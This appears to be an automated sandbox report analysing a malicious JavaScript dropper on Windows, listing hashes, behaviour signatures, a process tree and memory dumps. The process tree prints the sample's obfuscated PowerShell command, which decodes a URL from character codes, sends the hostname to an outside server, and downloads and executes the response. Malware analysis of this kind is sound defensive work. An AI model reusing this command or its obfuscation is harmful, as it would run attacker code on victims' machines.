Overview

overview

10

Static

static

1

ASXY2467_1631619.js

windows10-1703-x64

10

ASXY2467_1631619.js

windows7-x64

10

ASXY2467_1631619.js

windows10-2004-x64

10

Analysis

  • max time kernel
    1635s
  • max time network
    1589s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-05-2023 18:29

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General

  • Target

    ASXY2467_1631619.js

  • Size

    717KB

  • MD5

    080ba689ee07945facc3aeaec15aecc3

  • SHA1

    a2a934c80bc69dfac8196e38f02218d757c1aa71

  • SHA256

    5d9bb00a311c684e56acf8e5fe280fdc9f81c68533c6b1878cdd9452b766c52a

  • SHA512

    bf6ab2eb400ba80599352c4379d45c740568e7174eb4a392cd23d5aba7922fc80a4e9fb4ac60d6b2ff9182b767aaaf7d8855167982bdc450a17da3aed6e35488

  • SSDEEP

    3072:eCEoVZA2T9JOg8rRFqQWF0W6ozJop+4WvbVaqvXnHHqxArb4mTXGO9bUo5qO4qQg:iDxD/Lc

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\ASXY2467_1631619.js
    1⤵
      PID:3480
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $grt=$(hostname);@(8696,8708,8708,8704,8650,8639,8639,8706,8707,8714,8693,8693,8638,8708,8703,8704,8639,8706,8708,8638,8704,8696,8704,8655,8697,8653)|foreach{$wmisqt=$wmisqt+[char]($_-8592)};$lpkonf='l';new-alias trys cur$lpkonf;.$([char](6692-6587)+'ex')(trys -useb "$wmisqt$grt")
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4248
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $grt=$(hostname);@(8696,8708,8708,8704,8650,8639,8639,8706,8707,8714,8693,8693,8638,8708,8703,8704,8639,8706,8708,8638,8704,8696,8704,8655,8697,8653)|foreach{$wmisqt=$wmisqt+[char]($_-8592)};$lpkonf='l';new-alias trys cur$lpkonf;.$([char](6692-6587)+'ex')(trys -useb $wmisqt$grt)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3056
        • C:\Windows\system32\HOSTNAME.EXE
          "C:\Windows\system32\HOSTNAME.EXE"
          3⤵
            PID:832

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ifpjypiz.ke0.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit

      • memory/3056-142-0x000001B4DEAA0000-0x000001B4DEAC2000-memory.dmp

        Filesize

        136KB

        Download

      • memory/3056-143-0x000001B4F7120000-0x000001B4F7130000-memory.dmp

        Filesize

        64KB

        Download

      • memory/3056-144-0x000001B4F7120000-0x000001B4F7130000-memory.dmp

        Filesize

        64KB

        Download

      • memory/3056-145-0x000001B4F7120000-0x000001B4F7130000-memory.dmp

        Filesize

        64KB

        Download